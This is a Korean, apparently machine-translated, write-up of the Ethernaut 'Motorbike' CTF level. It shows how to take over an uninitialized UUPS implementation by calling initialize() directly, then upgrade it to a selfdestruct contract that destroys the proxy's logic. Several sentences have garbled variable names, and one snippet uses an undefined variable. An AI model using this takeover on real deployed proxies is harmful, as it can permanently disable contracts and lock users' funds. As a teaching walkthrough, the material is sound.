Ethernaut 해킹 레벨 25: 오토바이

OpenZeppelinEthernaut web3/solidity 기반 게임의 레벨 24입니다.

전제 조건



  • 솔리디티
  • delegatecall

  • Solidity
  • selfdestruct 기능
  • Proxy Patterns
  • UUPS Proxies
  • OpenZeppelin Proxies

  • Initializable 계약

  • 마구 자르기



    주어진 계약:

    
    // SPDX-License-Identifier: MIT
    
    pragma solidity <0.7.0;
    
    import "@openzeppelin/contracts/utils/Address.sol";
    import "@openzeppelin/contracts/proxy/Initializable.sol";
    
    contract Motorbike {
        // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
        bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
        struct AddressSlot {
            address value;
        }
    
        // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
        constructor(address _logic) public {
            require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
            _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
            (bool success,) = _logic.delegatecall(
                abi.encodeWithSignature("initialize()")
            );
            require(success, "Call failed");
        }
    
        // Delegates the current call to `implementation`.
        function _delegate(address implementation) internal virtual {
            // solhint-disable-next-line no-inline-assembly
            assembly {
                calldatacopy(0, 0, calldatasize())
                let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
                returndatacopy(0, 0, returndatasize())
                switch result
                case 0 { revert(0, returndatasize()) }
                default { return(0, returndatasize()) }
            }
        }
    
        // Fallback function that delegates calls to the address returned by `_implementation()`. 
        // Will run if no other function in the contract matches the call data
        fallback () external payable virtual {
            _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
        }
    
        // Returns an `AddressSlot` with member `value` located at `slot`.
        function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
            assembly {
                r_slot := slot
            }
        }
    }
    
    contract Engine is Initializable {
        // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
        bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
        address public upgrader;
        uint256 public horsePower;
    
        struct AddressSlot {
            address value;
        }
    
        function initialize() external initializer {
            horsePower = 1000;
            upgrader = msg.sender;
        }
    
        // Upgrade the implementation of the proxy to `newImplementation`
        // subsequently execute the function call
        function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
            _authorizeUpgrade();
            _upgradeToAndCall(newImplementation, data);
        }
    
        // Restrict to upgrader role
        function _authorizeUpgrade() internal view {
            require(msg.sender == upgrader, "Can't upgrade");
        }
    
        // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
        function _upgradeToAndCall(
            address newImplementation,
            bytes memory data
        ) internal {
            // Initial upgrade and setup call
            _setImplementation(newImplementation);
            if (data.length > 0) {
                (bool success,) = newImplementation.delegatecall(data);
                require(success, "Call failed");
            }
        }
    
        // Stores a new address in the EIP1967 implementation slot.
        function _setImplementation(address newImplementation) private {
            require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
    
            AddressSlot storage r;
            assembly {
                r_slot := _IMPLEMENTATION_SLOT
            }
            r.value = newImplementation;
        }
    }
    

    playerMotorbike 를 통해 구현/논리 계약( Engine )을 파기하여 프록시( selfdestruct )를 사용할 수 없도록 해야 합니다.

    보시다시피 현재 Engine 구현에는 selfdestruct 논리가 없습니다. 따라서 현재 구현에서는 selfdestruct를 호출할 수 없습니다. 하지만 프록시 패턴의 로직/구현 컨트랙트이기 때문에 selfdestruct가 들어있는 새로운 컨트랙트로 업그레이드가 가능합니다.
    upgradeToAndCall 메서드는 새 계약 주소로 업그레이드할 수 있지만 upgrader 주소만 호출할 수 있도록 권한 부여 확인이 있습니다. 따라서 player 는 어떻게든 upgrader 를 인수해야 합니다.

    여기서 명심해야 할 핵심은 논리 계약에 정의된 모든 스토리지 변수, 즉 Engine는 실제로 Motorbike가 아니라 프록시의 ( Engine 의) 스토리지에 저장된다는 것입니다. 여기서 프록시는 논리/구현 계약(논리 계층)에 논리만 위임하는 스토리지 계층입니다.

    프록시를 거치지 않고 Engine 컨텍스트에서 직접 쓰고 읽으려고 하면 어떻게 될까요? 먼저 Engine의 주소가 필요합니다. 이 주소는 _IMPLEMENTATION_SLOT 의 스토리지 슬롯Motorbike에 있습니다. 읽어봅시다:

    implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
    
    // Output: '0x000000000000000000000000<20-byte-implementation-contract-address>'
    


    이것은 32바이트 값을 산출합니다(각 슬롯은 32바이트임). 0 의 패딩을 제거하여 20바이트address를 얻습니다.

    implAddr = '0x' + implAddr.slice(-40)
    
    // Output: '0x<20-byte-implementation-contract-address>'
    


    이제 프록시를 거치지 않고 initializeEngine에 직접 트랜잭션을 보내면 코드는 프록시가 아닌 Engine 의 컨텍스트에서 실행됩니다. 즉, initialized , initializing ( Initializable 에서 상속됨), upgrader 등의 스토리지 변수를 Engine 의 스토리지 슬롯에서 읽습니다. 그리고 이러한 변수에는 false가 저장소가 아닌 논리 계층으로만 가정되었기 때문에 각각 기본값인 false , 0x0 , Engine가 포함될 가능성이 큽니다.initialized 컨텍스트에서 falsebool (기본값은 Engine )과 같으므로 initializer 메서드의 initialize 수정자는 전달됩니다!
    initialize 의 주소(예: Engine)에서 implAddr를 호출합니다.

    initializeData = web3.eth.abi.encodeFunctionSignature("initialize()")
    
    await web3.eth.sendTransaction({ from: player, to: implAddr, data: initializeData })
    


    좋습니다. initialize 메서드를 호출하면 이제 playerupgrader 로 설정해야 합니다. 확인 방법:

    upgraderData = web3.eth.abi.encodeFunctionSignature("upgrader()")
    
    await web3.eth.call({from: player, to: implAddr, data: upgraderSig}).then(v => '0x' + v.slice(-40).toLowerCase()) === player.toLowerCase()
    
    // Output: true
    


    따라서 player는 이제 upgradeToAndCall 메서드를 통해 구현 계약을 업그레이드할 수 있습니다. Remix에서 다음 악성 계약BombEngine을 생성해 보겠습니다.

    // SPDX-License-Identifier: MIT
    pragma solidity <0.7.0;
    
    contract BombEngine {
        function explode() public {
            selfdestruct(address(0));
        }
    }
    


    (동일한 네트워크에) 배포BombEngine하고 주소를 복사합니다.
    upgradeToAndCall 를 통해 새 구현을 설정하고 BombEngine 주소를 전달하고 explode 메서드를 params로 인코딩하면 기존 Engine이 자체적으로 파괴됩니다. 이는 _upgradeToAndCall가 제공된 data 매개변수를 사용하여 지정된 새 구현 주소에 대한 호출을 위임하기 때문입니다. delegatecall 는 컨텍스트 보존이므로 selfdestruct 메서드의 explodeEngine 컨텍스트에서 실행됩니다. 따라서 Engine가 파괴됩니다.
    EngineBombEngine로 업그레이드하십시오. upgradeToAndCall에서 호출할 implAddress의 함수 데이터를 먼저 설정합니다.

    bombAddr = '<BombEngine-instance-address>'
    explodeData = web3.eth.abi.encodeFunctionSignature("explode()")
    
    upgradeSignature = {
        name: 'upgradeToAndCall',
        type: 'function',
        inputs: [
            {
                type: 'address',
                name: 'newImplementation'
            },
            {
                type: 'bytes',
                name: 'data'
            }
        ]
    }
    
    upgradeParams = [bombAddr, explodeData]
    
    upgradeData = web3.eth.abi.encodeFunctionCall(upgradeSignature, upgradeParams)
    


    이제 upgradeToAndCall에서 implAddr로 전화하십시오.

    await web3.eth.sendTransaction({from: player, to: implAddr, data: upgradeData})
    


    팔! Engine가 파괴되었습니다! Motorbike는 이제 쓸모가 없습니다. Motorbike 모든 업그레이드 논리가 이제 파괴된 논리 계약에 있었기 때문에 지금은 수리할 수도 없습니다.

    멋진 것을 배웠습니까? 주연을 고려해보세요 github repo 😄

    그리고 트위터 팔로우 해주세요🙏

    좋은 웹페이지 즐겨찾기